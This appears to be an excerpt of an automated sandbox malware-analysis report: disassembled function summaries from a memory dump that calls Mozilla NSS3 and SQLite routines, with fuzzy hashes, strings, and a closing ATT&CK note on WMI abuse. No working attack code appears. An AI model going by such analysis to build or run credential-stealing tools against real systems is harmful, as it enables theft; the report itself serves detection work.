free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6D06AAD4), ref: 6D07ACDB

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 9f5e9e05e27b1e1627744e7c41ca57b531ce60dfc56cc12097e3023263133962
Instruction ID: b3f7e9d18152de70449060085e16f1c81d7695a8f8067cced36a0b2a1b33a543
Opcode Fuzzy Hash: 9f5e9e05e27b1e1627744e7c41ca57b531ce60dfc56cc12097e3023263133962
Instruction Fuzzy Hash: E80171B5600B02ABE760DF39E909B53B7E8BF00665B104839E85EC7A00E735F055CBD1

Function 6CFE1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CFE1DFB

Part of subcall function 6CFD95B0: TlsGetValue.KERNEL32(00000000,?,6CFF00D2,00000000), ref: 6CFD95D2
Part of subcall function 6CFD95B0: EnterCriticalSection.KERNEL32(?,?,?,6CFF00D2,00000000), ref: 6CFD95E7
Part of subcall function 6CFD95B0: PR_Unlock.NSS3(?,?,?,?,6CFF00D2,00000000), ref: 6CFD9605

PR_EnterMonitor.NSS3 ref: 6CFE1E09

Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990AB
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D0990C9
Part of subcall function 6D099090: EnterCriticalSection.KERNEL32 ref: 6D0990E5
Part of subcall function 6D099090: TlsGetValue.KERNEL32 ref: 6D099116
Part of subcall function 6D099090: LeaveCriticalSection.KERNEL32 ref: 6D09913F

Part of subcall function 6CFDE190: PR_EnterMonitor.NSS3(?,?,6CFDE175), ref: 6CFDE19C
Part of subcall function 6CFDE190: PR_EnterMonitor.NSS3(6CFDE175), ref: 6CFDE1AA
Part of subcall function 6CFDE190: PR_ExitMonitor.NSS3 ref: 6CFDE208
Part of subcall function 6CFDE190: PL_HashTableRemove.NSS3(?), ref: 6CFDE219
Part of subcall function 6CFDE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFDE231
Part of subcall function 6CFDE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFDE249
Part of subcall function 6CFDE190: PR_ExitMonitor.NSS3 ref: 6CFDE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE1E37
PR_ExitMonitor.NSS3 ref: 6CFE1E4A

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: dda10a926096019c3514331d7a0b99bcf0408730084e45618fbce0dd5dff79c6
Instruction ID: 31eef091038d351f3d7899c00f02e24466878453d2e7e13734ac69638574f723
Opcode Fuzzy Hash: dda10a926096019c3514331d7a0b99bcf0408730084e45618fbce0dd5dff79c6
Instruction Fuzzy Hash: 3B018476A04211ABEA104B67FC00F9677A4AB45B4CF168031F9189BA52E771F814CBD1

Function 6CFE1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFE1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CFE1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CFE1D9C
free.MOZGLUE(00000000), ref: 6CFE1DB8

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 312a86287748ea6c5fa364e0ebe64cf3b266f6d4c343b3a4d13aa6e1f1ef433f
Instruction ID: 23ece78bc659154de97263bdeef8e4d144233ee0bd1dd43412bd35e3164be63b
Opcode Fuzzy Hash: 312a86287748ea6c5fa364e0ebe64cf3b266f6d4c343b3a4d13aa6e1f1ef433f
Instruction Fuzzy Hash: 61F0F9B7A0521477FB301F1B6C42F4B36589B89758F168235EE594BB42D761E40082E2

Function 6D07AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6D065D40,00000000,?,?,6D056AC6,6D06639C), ref: 6D07AC2D

Part of subcall function 6D01ADC0: TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE10
Part of subcall function 6D01ADC0: EnterCriticalSection.KERNEL32(?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE24
Part of subcall function 6D01ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CFFD079,00000000,00000001), ref: 6D01AE5A
Part of subcall function 6D01ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE6F
Part of subcall function 6D01ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AE7F
Part of subcall function 6D01ADC0: TlsGetValue.KERNEL32(?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEB1
Part of subcall function 6D01ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CFFCDBB,?,6CFFD079,00000000,00000001), ref: 6D01AEC9

PK11_FreeSymKey.NSS3(?,6D065D40,00000000,?,?,6D056AC6,6D06639C), ref: 6D07AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6D065D40,00000000,?,?,6D056AC6,6D06639C), ref: 6D07AC59
free.MOZGLUE(8CB6FF01,6D056AC6,6D06639C,?,?,?,?,?,?,?,?,?,6D065D40,00000000,?,6D06AAD4), ref: 6D07AC62

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: f24c0c76aa7f1b151a1f7f1093105d9352ec5ecc36a5f2600a2d71621495addc
Instruction ID: 295228188baec8efef6fdec8689c9b8edac1efba1ad414ba488161507620892f
Opcode Fuzzy Hash: f24c0c76aa7f1b151a1f7f1093105d9352ec5ecc36a5f2600a2d71621495addc
Instruction Fuzzy Hash: 96014FB5A04605AFEB10CF55E8C1F5677E8AF45758F148068E94D8F306D731E845CBA1

Function 6D02FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CFD9003,?), ref: 6D02FD91

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PORT_Alloc_Util.NSS3(A4686D03,?), ref: 6D02FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686D03,?,?), ref: 6D02FDC4
free.MOZGLUE(00000000,?,?), ref: 6D02FDD1

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 261275caafa92b7c71ab4a21e7cf2efffb333ef89ae1ee488ba682c47439e0b0
Instruction ID: c34c5f4a62696492088fe577ea5959977a323f7f91af1940d6cabdaa39b8f2d6
Opcode Fuzzy Hash: 261275caafa92b7c71ab4a21e7cf2efffb333ef89ae1ee488ba682c47439e0b0
Instruction Fuzzy Hash: 3BF0FCF6A052136BFB004F56EC81B277B9DEF442D5B058035EE098B601E721D810C7E1

Function 6D0ECC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6D0ECC61
free.MOZGLUE ref: 6D0ECC6E
DeleteCriticalSection.KERNEL32(?), ref: 6D0ECC80
free.MOZGLUE(?), ref: 6D0ECC87

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: ecedfc3fb6e9c497a3f2a407c84a5ece3874dc15d1682bc2616de3566daf8564
Instruction ID: e5104e4c9b81c4ce4b8d908833e9a326996abf2c978bcaa8fead3275a31e73b8
Opcode Fuzzy Hash: ecedfc3fb6e9c497a3f2a407c84a5ece3874dc15d1682bc2616de3566daf8564
Instruction Fuzzy Hash: 35E03076600608AFCE10DFA8DC4488777ACEE492703150525E791C3700D332F955CBE1

Function 6CFC9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CFC9E1F

Part of subcall function 6CF813C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CF52352,?,00000000,?,?), ref: 6CF81413
Part of subcall function 6CF813C0: memcpy.VCRUNTIME140(00000000,6CF52352,00000002,?,?,?,?,6CF52352,?,00000000,?,?), ref: 6CF814C0

Strings

ESCAPE expression must be a single character, xrefs: 6CFC9F78
LIKE or GLOB pattern too complex, xrefs: 6CFCA006

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 7fed0f5abef4161c17b656b92029b19e7f3ee069138f07e9abf7e22e5d0252f0
Instruction ID: 8f6f38fbc43d3e9a31500a64eaea89b7a90f071036e2076ea9838013956da576
Opcode Fuzzy Hash: 7fed0f5abef4161c17b656b92029b19e7f3ee069138f07e9abf7e22e5d0252f0
Instruction Fuzzy Hash: 83811B71B042574BD700CF29C0803EBB7F2AF8531CF288659D8A49BB85DB32DA46C792

Function 6D024D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6D024D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6D024DE6

Strings

%d.%d, xrefs: 6D024DDE

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 830d4842dade2f10bbdaec7d1cd900acc250f3d60fdf7639e56832179234a140
Instruction ID: 6f61e6fc3cedd15ddaaf379f5ac01fcca483e8bb60f72c84307f86e33ce74bb6
Opcode Fuzzy Hash: 830d4842dade2f10bbdaec7d1cd900acc250f3d60fdf7639e56832179234a140
Instruction Fuzzy Hash: 4E310BB1D042197BFB109BB1AC05BBF77ACEF44304F050429ED55AB282EB70D905CBA2

Function 6D0C0900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6D0C0917
sqlite3_value_text.NSS3(?), ref: 6D0C0923

Part of subcall function 6CF813C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CF52352,?,00000000,?,?), ref: 6CF81413
Part of subcall function 6CF813C0: memcpy.VCRUNTIME140(00000000,6CF52352,00000002,?,?,?,?,6CF52352,?,00000000,?,?), ref: 6CF814C0

Strings

error in %s %s%s%s: %s, xrefs: 6D0C0944

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 0b5aaa479cbdf460ceeb199b831e36e446a1aced5956d5e09119bff34b8e10d1
Instruction ID: f1595afb088b8118dfde3b42c2fd337ad4ad7cbdc0d935b61ac5c948f8e8d87f
Opcode Fuzzy Hash: 0b5aaa479cbdf460ceeb199b831e36e446a1aced5956d5e09119bff34b8e10d1
Instruction Fuzzy Hash: D50104B6E001099BEB019F18FC01ABFBBB5EFC5218F144129ED585B315FB33A91487A2

Function 6D06AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6D06AF78

Part of subcall function 6CFCACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFCACE2
Part of subcall function 6CFCACC0: malloc.MOZGLUE(00000001), ref: 6CFCACEC
Part of subcall function 6CFCACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CFCAD02
Part of subcall function 6CFCACC0: TlsGetValue.KERNEL32 ref: 6CFCAD3C
Part of subcall function 6CFCACC0: calloc.MOZGLUE(00000001,?), ref: 6CFCAD8C
Part of subcall function 6CFCACC0: PR_Unlock.NSS3 ref: 6CFCADC0
Part of subcall function 6CFCACC0: PR_Unlock.NSS3 ref: 6CFCAE8C
Part of subcall function 6CFCACC0: free.MOZGLUE(?), ref: 6CFCAEAB

memcpy.VCRUNTIME140(6D133084,6D1302AC,00000090), ref: 6D06AF94

Strings

SSL, xrefs: 6D06AF73

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 657af75818fa822c4dc1bb020573a93febfad6824cc5ecd16915af6aea0ba411
Instruction ID: 751006efb8708272206d24858adb9cce9a1c22181df3ae41cd0bb4175a61e80a
Opcode Fuzzy Hash: 657af75818fa822c4dc1bb020573a93febfad6824cc5ecd16915af6aea0ba411
Instruction Fuzzy Hash: 212118F81092C89EFE20CF91B65E3167FB1F3026497125118E6184E319D7B5818A9FBE

Function 6CFC0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F1B

Part of subcall function 6CFC1370: GetSystemInfo.KERNEL32(?,?,?,?,6CFC0936,?,6CFC0F20,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000), ref: 6CFC138F

PR_NewLogModule.NSS3(clock,6CFC0936,FFFFE8AE,?,6CF516B7,00000000,?,6CFC0936,00000000,?,6CF5204A), ref: 6CFC0F25

Part of subcall function 6CFC1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CFC0936,00000001,00000040), ref: 6CFC1130
Part of subcall function 6CFC1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFC0936,00000001,00000040), ref: 6CFC1142
Part of subcall function 6CFC1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFC0936,00000001), ref: 6CFC1167

Strings

clock, xrefs: 6CFC0F20

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 1d7064af70778dc110c6e2db1621bd4ac9b557f9076c49e56cbf76fbcb2553ee
Instruction ID: 74625c73377c3b8ef8a26690647a6f489f7586b11812bd8b3c511f575af2c180
Opcode Fuzzy Hash: 1d7064af70778dc110c6e2db1621bd4ac9b557f9076c49e56cbf76fbcb2553ee
Instruction Fuzzy Hash: 32D0223130010815C630339BBC80BA7B2ACC7C3279F218422E008019000BA880FEDAF7

Function 6D030DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6D030DF5
TlsGetValue.KERNEL32 ref: 6D030E2D
TlsGetValue.KERNEL32 ref: 6D030E58
TlsGetValue.KERNEL32 ref: 6D030E84

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: e6e1c40777ed5e1f0149063b2a02ba22715b3c40aecb6e5ebc443852a9f26958
Instruction ID: 40cd69e8af7475773c5a5715cc1e3734312e0be1cf710524139fbb3079dadda0
Opcode Fuzzy Hash: e6e1c40777ed5e1f0149063b2a02ba22715b3c40aecb6e5ebc443852a9f26958
Instruction Fuzzy Hash: B431F6B07593278BEB115F7AD48436977F4BF46384F43466DD88887210DBB48095CB82

Function 6D030F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CFD2AF5,?,?,?,?,?,6CFD0A1B,00000000), ref: 6D030F1A
malloc.MOZGLUE(00000001), ref: 6D030F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6D030F42
TlsGetValue.KERNEL32 ref: 6D030F5B

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: b0c89de8b2c31b72973515bc6ab67ba73ee7dfb65f8b3920d5ed06c657d4ae94
Instruction ID: 082261ae345ad2d5a9548fc64fd5f682da8b86ca6379abe97d05c742d1ee7430
Opcode Fuzzy Hash: b0c89de8b2c31b72973515bc6ab67ba73ee7dfb65f8b3920d5ed06c657d4ae94
Instruction Fuzzy Hash: AB0128B1A092265FF7101F3BAC447677AACEF82294B020131ED08C3A21E771C45586E2

Function 6CFE1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CFE1ECE
free.MOZGLUE(?), ref: 6CFE1EDF
free.MOZGLUE(?), ref: 6CFE1EEF
free.MOZGLUE(?), ref: 6CFE1EF5

Memory Dump Source

Source File: 00000001.00000002.1756654118.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1756598915.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757753748.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1757892073.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758257195.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758509152.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758725396.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: de78e39b152c8041b4dd888ebceacbfcf0d00542d97bf14b9a9bc368b9718eb6
Instruction ID: c71c516f2df243de23681ae4e661cd03a3a25813e48ac12e9151e49edbafc2b0
Opcode Fuzzy Hash: de78e39b152c8041b4dd888ebceacbfcf0d00542d97bf14b9a9bc368b9718eb6
Instruction Fuzzy Hash: 28F0E2B56002057BEB00DB6AEC8AEA773ACEF49264B044434FD0EC3A01E726F450C7E2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
